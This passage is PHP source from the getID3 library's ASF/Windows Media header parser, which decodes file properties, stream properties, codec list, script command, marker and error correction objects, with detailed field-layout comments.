					// Maximum Bitrate              DWORD        32              // maximum instantaneous bitrate in bits per second for entire file, including all data streams and ASF overhead

					// shortcut
					$thisfile_asf['file_properties_object'] = array();
					$thisfile_asf_filepropertiesobject      = &$thisfile_asf['file_properties_object'];

					$thisfile_asf_filepropertiesobject['offset']             = $NextObjectOffset + $offset;
					$thisfile_asf_filepropertiesobject['objectid']           = $NextObjectGUID;
					$thisfile_asf_filepropertiesobject['objectid_guid']      = $NextObjectGUIDtext;
					$thisfile_asf_filepropertiesobject['objectsize']         = $NextObjectSize;
					$thisfile_asf_filepropertiesobject['fileid']             = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$thisfile_asf_filepropertiesobject['fileid_guid']        = $this->BytestringToGUID($thisfile_asf_filepropertiesobject['fileid']);
					$thisfile_asf_filepropertiesobject['filesize']           = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
					$offset += 8;
					$thisfile_asf_filepropertiesobject['creation_date']      = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
					$thisfile_asf_filepropertiesobject['creation_date_unix'] = $this->FILETIMEtoUNIXtime($thisfile_asf_filepropertiesobject['creation_date']);
					$offset += 8;
					$thisfile_asf_filepropertiesobject['data_packets']       = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
					$offset += 8;
					$thisfile_asf_filepropertiesobject['play_duration']      = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
					$offset += 8;
					$thisfile_asf_filepropertiesobject['send_duration']      = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
					$offset += 8;
					$thisfile_asf_filepropertiesobject['preroll']            = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
					$offset += 8;
					$thisfile_asf_filepropertiesobject['flags_raw']          = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					$thisfile_asf_filepropertiesobject['flags']['broadcast'] = (bool) ($thisfile_asf_filepropertiesobject['flags_raw'] & 0x0001);
					$thisfile_asf_filepropertiesobject['flags']['seekable']  = (bool) ($thisfile_asf_filepropertiesobject['flags_raw'] & 0x0002);

					$thisfile_asf_filepropertiesobject['min_packet_size']    = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					$thisfile_asf_filepropertiesobject['max_packet_size']    = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					$thisfile_asf_filepropertiesobject['max_bitrate']        = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;

					if ($thisfile_asf_filepropertiesobject['flags']['broadcast']) {

						// broadcast flag is set, some values invalid
						unset($thisfile_asf_filepropertiesobject['filesize']);
						unset($thisfile_asf_filepropertiesobject['data_packets']);
						unset($thisfile_asf_filepropertiesobject['play_duration']);
						unset($thisfile_asf_filepropertiesobject['send_duration']);
						unset($thisfile_asf_filepropertiesobject['min_packet_size']);
						unset($thisfile_asf_filepropertiesobject['max_packet_size']);

					} else {

						// broadcast flag NOT set, perform calculations
						$info['playtime_seconds'] = ($thisfile_asf_filepropertiesobject['play_duration'] / 10000000) - ($thisfile_asf_filepropertiesobject['preroll'] / 1000);

						//$info['bitrate'] = $thisfile_asf_filepropertiesobject['max_bitrate'];
						$info['bitrate'] = ((isset($thisfile_asf_filepropertiesobject['filesize']) ? $thisfile_asf_filepropertiesobject['filesize'] : $info['filesize']) * 8) / $info['playtime_seconds'];
					}
					break;

				case GETID3_ASF_Stream_Properties_Object:
					// Stream Properties Object: (mandatory, one per media stream)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for stream properties object - GETID3_ASF_Stream_Properties_Object
					// Object Size                  QWORD        64              // size of stream properties object, including 78 bytes of Stream Properties Object header
					// Stream Type                  GUID         128             // GETID3_ASF_Audio_Media, GETID3_ASF_Video_Media or GETID3_ASF_Command_Media
					// Error Correction Type        GUID         128             // GETID3_ASF_Audio_Spread for audio-only streams, GETID3_ASF_No_Error_Correction for other stream types
					// Time Offset                  QWORD        64              // 100-nanosecond units. typically zero. added to all timestamps of samples in the stream
					// Type-Specific Data Length    DWORD        32              // number of bytes for Type-Specific Data field
					// Error Correction Data Length DWORD        32              // number of bytes for Error Correction Data field
					// Flags                        WORD         16              //
					// * Stream Number              bits         7 (0x007F)      // number of this stream.  1 <= valid <= 127
					// * Reserved                   bits         8 (0x7F80)      // reserved - set to zero
					// * Encrypted Content Flag     bits         1 (0x8000)      // stream contents encrypted if set
					// Reserved                     DWORD        32              // reserved - set to zero
					// Type-Specific Data           BYTESTREAM   variable        // type-specific format data, depending on value of Stream Type
					// Error Correction Data        BYTESTREAM   variable        // error-correction-specific format data, depending on value of Error Correct Type

					// There is one GETID3_ASF_Stream_Properties_Object for each stream (audio, video) but the
					// stream number isn't known until halfway through decoding the structure, hence it
					// it is decoded to a temporary variable and then stuck in the appropriate index later

					$StreamPropertiesObjectData['offset']             = $NextObjectOffset + $offset;
					$StreamPropertiesObjectData['objectid']           = $NextObjectGUID;
					$StreamPropertiesObjectData['objectid_guid']      = $NextObjectGUIDtext;
					$StreamPropertiesObjectData['objectsize']         = $NextObjectSize;
					$StreamPropertiesObjectData['stream_type']        = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$StreamPropertiesObjectData['stream_type_guid']   = $this->BytestringToGUID($StreamPropertiesObjectData['stream_type']);
					$StreamPropertiesObjectData['error_correct_type'] = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$StreamPropertiesObjectData['error_correct_guid'] = $this->BytestringToGUID($StreamPropertiesObjectData['error_correct_type']);
					$StreamPropertiesObjectData['time_offset']        = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
					$offset += 8;
					$StreamPropertiesObjectData['type_data_length']   = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					$StreamPropertiesObjectData['error_data_length']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					$StreamPropertiesObjectData['flags_raw']          = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$StreamPropertiesObjectStreamNumber               = $StreamPropertiesObjectData['flags_raw'] & 0x007F;
					$StreamPropertiesObjectData['flags']['encrypted'] = (bool) ($StreamPropertiesObjectData['flags_raw'] & 0x8000);

					$offset += 4; // reserved - DWORD
					$StreamPropertiesObjectData['type_specific_data'] = substr($ASFHeaderData, $offset, $StreamPropertiesObjectData['type_data_length']);
					$offset += $StreamPropertiesObjectData['type_data_length'];
					$StreamPropertiesObjectData['error_correct_data'] = substr($ASFHeaderData, $offset, $StreamPropertiesObjectData['error_data_length']);
					$offset += $StreamPropertiesObjectData['error_data_length'];

					switch ($StreamPropertiesObjectData['stream_type']) {

						case GETID3_ASF_Audio_Media:
							$thisfile_audio['dataformat']   = (!empty($thisfile_audio['dataformat'])   ? $thisfile_audio['dataformat']   : 'asf');
							$thisfile_audio['bitrate_mode'] = (!empty($thisfile_audio['bitrate_mode']) ? $thisfile_audio['bitrate_mode'] : 'cbr');

							$audiodata = getid3_riff::parseWAVEFORMATex(substr($StreamPropertiesObjectData['type_specific_data'], 0, 16));
							unset($audiodata['raw']);
							$thisfile_audio = getid3_lib::array_merge_noclobber($audiodata, $thisfile_audio);
							break;

						case GETID3_ASF_Video_Media:
							$thisfile_video['dataformat']   = (!empty($thisfile_video['dataformat'])   ? $thisfile_video['dataformat']   : 'asf');
							$thisfile_video['bitrate_mode'] = (!empty($thisfile_video['bitrate_mode']) ? $thisfile_video['bitrate_mode'] : 'cbr');
							break;

						case GETID3_ASF_Command_Media:
						default:
							// do nothing
							break;

					}

					$thisfile_asf['stream_properties_object'][$StreamPropertiesObjectStreamNumber] = $StreamPropertiesObjectData;
					unset($StreamPropertiesObjectData); // clear for next stream, if any
					break;

				case GETID3_ASF_Header_Extension_Object:
					// Header Extension Object: (mandatory, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Header Extension object - GETID3_ASF_Header_Extension_Object
					// Object Size                  QWORD        64              // size of Header Extension object, including 46 bytes of Header Extension Object header
					// Reserved Field 1             GUID         128             // hardcoded: GETID3_ASF_Reserved_1
					// Reserved Field 2             WORD         16              // hardcoded: 0x00000006
					// Header Extension Data Size   DWORD        32              // in bytes. valid: 0, or > 24. equals object size minus 46
					// Header Extension Data        BYTESTREAM   variable        // array of zero or more extended header objects

					// shortcut
					$thisfile_asf['header_extension_object'] = array();
					$thisfile_asf_headerextensionobject      = &$thisfile_asf['header_extension_object'];

					$thisfile_asf_headerextensionobject['offset']              = $NextObjectOffset + $offset;
					$thisfile_asf_headerextensionobject['objectid']            = $NextObjectGUID;
					$thisfile_asf_headerextensionobject['objectid_guid']       = $NextObjectGUIDtext;
					$thisfile_asf_headerextensionobject['objectsize']          = $NextObjectSize;
					$thisfile_asf_headerextensionobject['reserved_1']          = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$thisfile_asf_headerextensionobject['reserved_1_guid']     = $this->BytestringToGUID($thisfile_asf_headerextensionobject['reserved_1']);
					if ($thisfile_asf_headerextensionobject['reserved_1'] != GETID3_ASF_Reserved_1) {
						$this->warning('header_extension_object.reserved_1 GUID ('.$this->BytestringToGUID($thisfile_asf_headerextensionobject['reserved_1']).') does not match expected "GETID3_ASF_Reserved_1" GUID ('.$this->BytestringToGUID(GETID3_ASF_Reserved_1).')');
						//return false;
						break;
					}
					$thisfile_asf_headerextensionobject['reserved_2']          = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					if ($thisfile_asf_headerextensionobject['reserved_2'] != 6) {
						$this->warning('header_extension_object.reserved_2 ('.getid3_lib::PrintHexBytes($thisfile_asf_headerextensionobject['reserved_2']).') does not match expected value of "6"');
						//return false;
						break;
					}
					$thisfile_asf_headerextensionobject['extension_data_size'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					$thisfile_asf_headerextensionobject['extension_data']      =                              substr($ASFHeaderData, $offset, $thisfile_asf_headerextensionobject['extension_data_size']);
					$unhandled_sections = 0;
					$thisfile_asf_headerextensionobject['extension_data_parsed'] = $this->HeaderExtensionObjectDataParse($thisfile_asf_headerextensionobject['extension_data'], $unhandled_sections);
					if ($unhandled_sections === 0) {
						unset($thisfile_asf_headerextensionobject['extension_data']);
					}
					$offset += $thisfile_asf_headerextensionobject['extension_data_size'];
					break;

				case GETID3_ASF_Codec_List_Object:
					// Codec List Object: (optional, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Codec List object - GETID3_ASF_Codec_List_Object
					// Object Size                  QWORD        64              // size of Codec List object, including 44 bytes of Codec List Object header
					// Reserved                     GUID         128             // hardcoded: 86D15241-311D-11D0-A3A4-00A0C90348F6
					// Codec Entries Count          DWORD        32              // number of entries in Codec Entries array
					// Codec Entries                array of:    variable        //
					// * Type                       WORD         16              // 0x0001 = Video Codec, 0x0002 = Audio Codec, 0xFFFF = Unknown Codec
					// * Codec Name Length          WORD         16              // number of Unicode characters stored in the Codec Name field
					// * Codec Name                 WCHAR        variable        // array of Unicode characters - name of codec used to create the content
					// * Codec Description Length   WORD         16              // number of Unicode characters stored in the Codec Description field
					// * Codec Description          WCHAR        variable        // array of Unicode characters - description of format used to create the content
					// * Codec Information Length   WORD         16              // number of Unicode characters stored in the Codec Information field
					// * Codec Information          BYTESTREAM   variable        // opaque array of information bytes about the codec used to create the content

					// shortcut
					$thisfile_asf['codec_list_object'] = array();
					$thisfile_asf_codeclistobject      = &$thisfile_asf['codec_list_object'];

					$thisfile_asf_codeclistobject['offset']                    = $NextObjectOffset + $offset;
					$thisfile_asf_codeclistobject['objectid']                  = $NextObjectGUID;
					$thisfile_asf_codeclistobject['objectid_guid']             = $NextObjectGUIDtext;
					$thisfile_asf_codeclistobject['objectsize']                = $NextObjectSize;
					$thisfile_asf_codeclistobject['reserved']                  = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$thisfile_asf_codeclistobject['reserved_guid']             = $this->BytestringToGUID($thisfile_asf_codeclistobject['reserved']);
					if ($thisfile_asf_codeclistobject['reserved'] != $this->GUIDtoBytestring('86D15241-311D-11D0-A3A4-00A0C90348F6')) {
						$this->warning('codec_list_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_codeclistobject['reserved']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {86D15241-311D-11D0-A3A4-00A0C90348F6}');
						//return false;
						break;
					}
					$thisfile_asf_codeclistobject['codec_entries_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					for ($CodecEntryCounter = 0; $CodecEntryCounter < $thisfile_asf_codeclistobject['codec_entries_count']; $CodecEntryCounter++) {
						// shortcut
						$thisfile_asf_codeclistobject['codec_entries'][$CodecEntryCounter] = array();
						$thisfile_asf_codeclistobject_codecentries_current = &$thisfile_asf_codeclistobject['codec_entries'][$CodecEntryCounter];

						$thisfile_asf_codeclistobject_codecentries_current['type_raw'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
						$thisfile_asf_codeclistobject_codecentries_current['type'] = self::codecListObjectTypeLookup($thisfile_asf_codeclistobject_codecentries_current['type_raw']);

						$CodecNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character
						$offset += 2;
						$thisfile_asf_codeclistobject_codecentries_current['name'] = substr($ASFHeaderData, $offset, $CodecNameLength);
						$offset += $CodecNameLength;

						$CodecDescriptionLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character
						$offset += 2;
						$thisfile_asf_codeclistobject_codecentries_current['description'] = substr($ASFHeaderData, $offset, $CodecDescriptionLength);
						$offset += $CodecDescriptionLength;

						$CodecInformationLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
						$thisfile_asf_codeclistobject_codecentries_current['information'] = substr($ASFHeaderData, $offset, $CodecInformationLength);
						$offset += $CodecInformationLength;

						if ($thisfile_asf_codeclistobject_codecentries_current['type_raw'] == 2) { // audio codec

							if (strpos($thisfile_asf_codeclistobject_codecentries_current['description'], ',') === false) {
								$this->warning('[asf][codec_list_object][codec_entries]['.$CodecEntryCounter.'][description] expected to contain comma-separated list of parameters: "'.$thisfile_asf_codeclistobject_codecentries_current['description'].'"');
							} else {

								list($AudioCodecBitrate, $AudioCodecFrequency, $AudioCodecChannels) = explode(',', $this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['description']));
								$thisfile_audio['codec'] = $this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['name']);

								if (!isset($thisfile_audio['bitrate']) && strstr($AudioCodecBitrate, 'kbps')) {
									$thisfile_audio['bitrate'] = (int) (trim(str_replace('kbps', '', $AudioCodecBitrate)) * 1000);
								}
								//if (!isset($thisfile_video['bitrate']) && isset($thisfile_audio['bitrate']) && isset($thisfile_asf['file_properties_object']['max_bitrate']) && ($thisfile_asf_codeclistobject['codec_entries_count'] > 1)) {
								if (empty($thisfile_video['bitrate']) && !empty($thisfile_audio['bitrate']) && !empty($info['bitrate'])) {
									//$thisfile_video['bitrate'] = $thisfile_asf['file_properties_object']['max_bitrate'] - $thisfile_audio['bitrate'];
									$thisfile_video['bitrate'] = $info['bitrate'] - $thisfile_audio['bitrate'];
								}

								$AudioCodecFrequency = (int) trim(str_replace('kHz', '', $AudioCodecFrequency));
								switch ($AudioCodecFrequency) {
									case 8:
									case 8000:
										$thisfile_audio['sample_rate'] = 8000;
										break;

									case 11:
									case 11025:
										$thisfile_audio['sample_rate'] = 11025;
										break;

									case 12:
									case 12000:
										$thisfile_audio['sample_rate'] = 12000;
										break;

									case 16:
									case 16000:
										$thisfile_audio['sample_rate'] = 16000;
										break;

									case 22:
									case 22050:
										$thisfile_audio['sample_rate'] = 22050;
										break;

									case 24:
									case 24000:
										$thisfile_audio['sample_rate'] = 24000;
										break;

									case 32:
									case 32000:
										$thisfile_audio['sample_rate'] = 32000;
										break;

									case 44:
									case 441000:
										$thisfile_audio['sample_rate'] = 44100;
										break;

									case 48:
									case 48000:
										$thisfile_audio['sample_rate'] = 48000;
										break;

									default:
										$this->warning('unknown frequency: "'.$AudioCodecFrequency.'" ('.$this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['description']).')');
										break;
								}

								if (!isset($thisfile_audio['channels'])) {
									if (strstr($AudioCodecChannels, 'stereo')) {
										$thisfile_audio['channels'] = 2;
									} elseif (strstr($AudioCodecChannels, 'mono')) {
										$thisfile_audio['channels'] = 1;
									}
								}

							}
						}
					}
					break;

				case GETID3_ASF_Script_Command_Object:
					// Script Command Object: (optional, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Script Command object - GETID3_ASF_Script_Command_Object
					// Object Size                  QWORD        64              // size of Script Command object, including 44 bytes of Script Command Object header
					// Reserved                     GUID         128             // hardcoded: 4B1ACBE3-100B-11D0-A39B-00A0C90348F6
					// Commands Count               WORD         16              // number of Commands structures in the Script Commands Objects
					// Command Types Count          WORD         16              // number of Command Types structures in the Script Commands Objects
					// Command Types                array of:    variable        //
					// * Command Type Name Length   WORD         16              // number of Unicode characters for Command Type Name
					// * Command Type Name          WCHAR        variable        // array of Unicode characters - name of a type of command
					// Commands                     array of:    variable        //
					// * Presentation Time          DWORD        32              // presentation time of that command, in milliseconds
					// * Type Index                 WORD         16              // type of this command, as a zero-based index into the array of Command Types of this object
					// * Command Name Length        WORD         16              // number of Unicode characters for Command Name
					// * Command Name               WCHAR        variable        // array of Unicode characters - name of this command

					// shortcut
					$thisfile_asf['script_command_object'] = array();
					$thisfile_asf_scriptcommandobject      = &$thisfile_asf['script_command_object'];

					$thisfile_asf_scriptcommandobject['offset']               = $NextObjectOffset + $offset;
					$thisfile_asf_scriptcommandobject['objectid']             = $NextObjectGUID;
					$thisfile_asf_scriptcommandobject['objectid_guid']        = $NextObjectGUIDtext;
					$thisfile_asf_scriptcommandobject['objectsize']           = $NextObjectSize;
					$thisfile_asf_scriptcommandobject['reserved']             = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$thisfile_asf_scriptcommandobject['reserved_guid']        = $this->BytestringToGUID($thisfile_asf_scriptcommandobject['reserved']);
					if ($thisfile_asf_scriptcommandobject['reserved'] != $this->GUIDtoBytestring('4B1ACBE3-100B-11D0-A39B-00A0C90348F6')) {
						$this->warning('script_command_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_scriptcommandobject['reserved']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {4B1ACBE3-100B-11D0-A39B-00A0C90348F6}');
						//return false;
						break;
					}
					$thisfile_asf_scriptcommandobject['commands_count']       = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$thisfile_asf_scriptcommandobject['command_types_count']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					for ($CommandTypesCounter = 0; $CommandTypesCounter < $thisfile_asf_scriptcommandobject['command_types_count']; $CommandTypesCounter++) {
						$CommandTypeNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character
						$offset += 2;
						$thisfile_asf_scriptcommandobject['command_types'][$CommandTypesCounter]['name'] = substr($ASFHeaderData, $offset, $CommandTypeNameLength);
						$offset += $CommandTypeNameLength;
					}
					for ($CommandsCounter = 0; $CommandsCounter < $thisfile_asf_scriptcommandobject['commands_count']; $CommandsCounter++) {
						$thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['presentation_time']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
						$offset += 4;
						$thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['type_index']         = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;

						$CommandTypeNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character
						$offset += 2;
						$thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['name'] = substr($ASFHeaderData, $offset, $CommandTypeNameLength);
						$offset += $CommandTypeNameLength;
					}
					break;

				case GETID3_ASF_Marker_Object:
					// Marker Object: (optional, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Marker object - GETID3_ASF_Marker_Object
					// Object Size                  QWORD        64              // size of Marker object, including 48 bytes of Marker Object header
					// Reserved                     GUID         128             // hardcoded: 4CFEDB20-75F6-11CF-9C0F-00A0C90349CB
					// Markers Count                DWORD        32              // number of Marker structures in Marker Object
					// Reserved                     WORD         16              // hardcoded: 0x0000
					// Name Length                  WORD         16              // number of bytes in the Name field
					// Name                         WCHAR        variable        // name of the Marker Object
					// Markers                      array of:    variable        //
					// * Offset                     QWORD        64              // byte offset into Data Object
					// * Presentation Time          QWORD        64              // in 100-nanosecond units
					// * Entry Length               WORD         16              // length in bytes of (Send Time + Flags + Marker Description Length + Marker Description + Padding)
					// * Send Time                  DWORD        32              // in milliseconds
					// * Flags                      DWORD        32              // hardcoded: 0x00000000
					// * Marker Description Length  DWORD        32              // number of bytes in Marker Description field
					// * Marker Description         WCHAR        variable        // array of Unicode characters - description of marker entry
					// * Padding                    BYTESTREAM   variable        // optional padding bytes

					// shortcut
					$thisfile_asf['marker_object'] = array();
					$thisfile_asf_markerobject     = &$thisfile_asf['marker_object'];

					$thisfile_asf_markerobject['offset']               = $NextObjectOffset + $offset;
					$thisfile_asf_markerobject['objectid']             = $NextObjectGUID;
					$thisfile_asf_markerobject['objectid_guid']        = $NextObjectGUIDtext;
					$thisfile_asf_markerobject['objectsize']           = $NextObjectSize;
					$thisfile_asf_markerobject['reserved']             = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$thisfile_asf_markerobject['reserved_guid']        = $this->BytestringToGUID($thisfile_asf_markerobject['reserved']);
					if ($thisfile_asf_markerobject['reserved'] != $this->GUIDtoBytestring('4CFEDB20-75F6-11CF-9C0F-00A0C90349CB')) {
						$this->warning('marker_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_markerobject['reserved_1']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {4CFEDB20-75F6-11CF-9C0F-00A0C90349CB}');
						break;
					}
					$thisfile_asf_markerobject['markers_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					$thisfile_asf_markerobject['reserved_2'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					if ($thisfile_asf_markerobject['reserved_2'] != 0) {
						$this->warning('marker_object.reserved_2 ('.getid3_lib::PrintHexBytes($thisfile_asf_markerobject['reserved_2']).') does not match expected value of "0"');
						break;
					}
					$thisfile_asf_markerobject['name_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$thisfile_asf_markerobject['name'] = substr($ASFHeaderData, $offset, $thisfile_asf_markerobject['name_length']);
					$offset += $thisfile_asf_markerobject['name_length'];
					for ($MarkersCounter = 0; $MarkersCounter < $thisfile_asf_markerobject['markers_count']; $MarkersCounter++) {
						$thisfile_asf_markerobject['markers'][$MarkersCounter]['offset']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
						$offset += 8;
						$thisfile_asf_markerobject['markers'][$MarkersCounter]['presentation_time']         = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
						$offset += 8;
						$thisfile_asf_markerobject['markers'][$MarkersCounter]['entry_length']              = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
						$thisfile_asf_markerobject['markers'][$MarkersCounter]['send_time']                 = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
						$offset += 4;
						$thisfile_asf_markerobject['markers'][$MarkersCounter]['flags']                     = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
						$offset += 4;
						$thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
						$offset += 4;
						$thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description']        = substr($ASFHeaderData, $offset, $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length']);
						$offset += $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length'];
						$PaddingLength = $thisfile_asf_markerobject['markers'][$MarkersCounter]['entry_length'] - 4 -  4 - 4 - $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length'];
						if ($PaddingLength > 0) {
							$thisfile_asf_markerobject['markers'][$MarkersCounter]['padding']               = substr($ASFHeaderData, $offset, $PaddingLength);
							$offset += $PaddingLength;
						}
					}
					break;

				case GETID3_ASF_Bitrate_Mutual_Exclusion_Object:
					// Bitrate Mutual Exclusion Object: (optional)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Bitrate Mutual Exclusion object - GETID3_ASF_Bitrate_Mutual_Exclusion_Object
					// Object Size                  QWORD        64              // size of Bitrate Mutual Exclusion object, including 42 bytes of Bitrate Mutual Exclusion Object header
					// Exlusion Type                GUID         128             // nature of mutual exclusion relationship. one of: (GETID3_ASF_Mutex_Bitrate, GETID3_ASF_Mutex_Unknown)
					// Stream Numbers Count         WORD         16              // number of video streams
					// Stream Numbers               WORD         variable        // array of mutually exclusive video stream numbers. 1 <= valid <= 127

					// shortcut
					$thisfile_asf['bitrate_mutual_exclusion_object'] = array();
					$thisfile_asf_bitratemutualexclusionobject       = &$thisfile_asf['bitrate_mutual_exclusion_object'];

					$thisfile_asf_bitratemutualexclusionobject['offset']               = $NextObjectOffset + $offset;
					$thisfile_asf_bitratemutualexclusionobject['objectid']             = $NextObjectGUID;
					$thisfile_asf_bitratemutualexclusionobject['objectid_guid']        = $NextObjectGUIDtext;
					$thisfile_asf_bitratemutualexclusionobject['objectsize']           = $NextObjectSize;
					$thisfile_asf_bitratemutualexclusionobject['reserved']             = substr($ASFHeaderData, $offset, 16);
					$thisfile_asf_bitratemutualexclusionobject['reserved_guid']        = $this->BytestringToGUID($thisfile_asf_bitratemutualexclusionobject['reserved']);
					$offset += 16;
					if (($thisfile_asf_bitratemutualexclusionobject['reserved'] != GETID3_ASF_Mutex_Bitrate) && ($thisfile_asf_bitratemutualexclusionobject['reserved'] != GETID3_ASF_Mutex_Unknown)) {
						$this->warning('bitrate_mutual_exclusion_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_bitratemutualexclusionobject['reserved']).'} does not match expected "GETID3_ASF_Mutex_Bitrate" GUID {'.$this->BytestringToGUID(GETID3_ASF_Mutex_Bitrate).'} or  "GETID3_ASF_Mutex_Unknown" GUID {'.$this->BytestringToGUID(GETID3_ASF_Mutex_Unknown).'}');
						//return false;
						break;
					}
					$thisfile_asf_bitratemutualexclusionobject['stream_numbers_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					for ($StreamNumberCounter = 0; $StreamNumberCounter < $thisfile_asf_bitratemutualexclusionobject['stream_numbers_count']; $StreamNumberCounter++) {
						$thisfile_asf_bitratemutualexclusionobject['stream_numbers'][$StreamNumberCounter] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
					}
					break;

				case GETID3_ASF_Error_Correction_Object:
					// Error Correction Object: (optional, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Error Correction object - GETID3_ASF_Error_Correction_Object
					// Object Size                  QWORD        64              // size of Error Correction object, including 44 bytes of Error Correction Object header
					// Error Correction Type        GUID         128             // type of error correction. one of: (GETID3_ASF_No_Error_Correction, GETID3_ASF_Audio_Spread)
					// Error Correction Data Length DWORD        32              // number of bytes in Error Correction Data field
					// Error Correction Data        BYTESTREAM   variable        // structure depends on value of Error Correction Type field

					// shortcut
					$thisfile_asf['error_correction_object'] = array();
					$thisfile_asf_errorcorrectionobject      = &$thisfile_asf['error_correction_object'];

					$thisfile_asf_errorcorrectionobject['offset']                = $NextObjectOffset + $offset;
					$thisfile_asf_errorcorrectionobject['objectid']              = $NextObjectGUID;
					$thisfile_asf_errorcorrectionobject['objectid_guid']         = $NextObjectGUIDtext;
					$thisfile_asf_errorcorrectionobject['objectsize']            = $NextObjectSize;
					$thisfile_asf_errorcorrectionobject['error_correction_type'] = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$thisfile_asf_errorcorrectionobject['error_correction_guid'] = $this->BytestringToGUID($thisfile_asf_errorcorrectionobject['error_correction_type']);
					$thisfile_asf_errorcorrectionobject['error_correction_data_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					switch ($thisfile_asf_errorcorrectionobject['error_correction_type']) {
						case GETID3_ASF_No_Error_Correction:
							// should be no data, but just in case there is, skip to the end of the field
							$offset += $thisfile_asf_errorcorrectionobject['error_correction_data_length'];
							break;

						case GETID3_ASF_Audio_Spread:
							// Field Name                   Field Type   Size (bits)
							// Span                         BYTE         8               // number of packets over which audio will be spread.
							// Virtual Packet Length        WORD         16              // size of largest audio payload found in audio stream
							// Virtual Chunk Length         WORD         16              // size of largest audio payload found in audio stream
							// Silence Data Length          WORD         16              // number of bytes in Silence Data field
							// Silence Data                 BYTESTREAM   variable        // hardcoded: 0x00 * (Silence Data Length) bytes

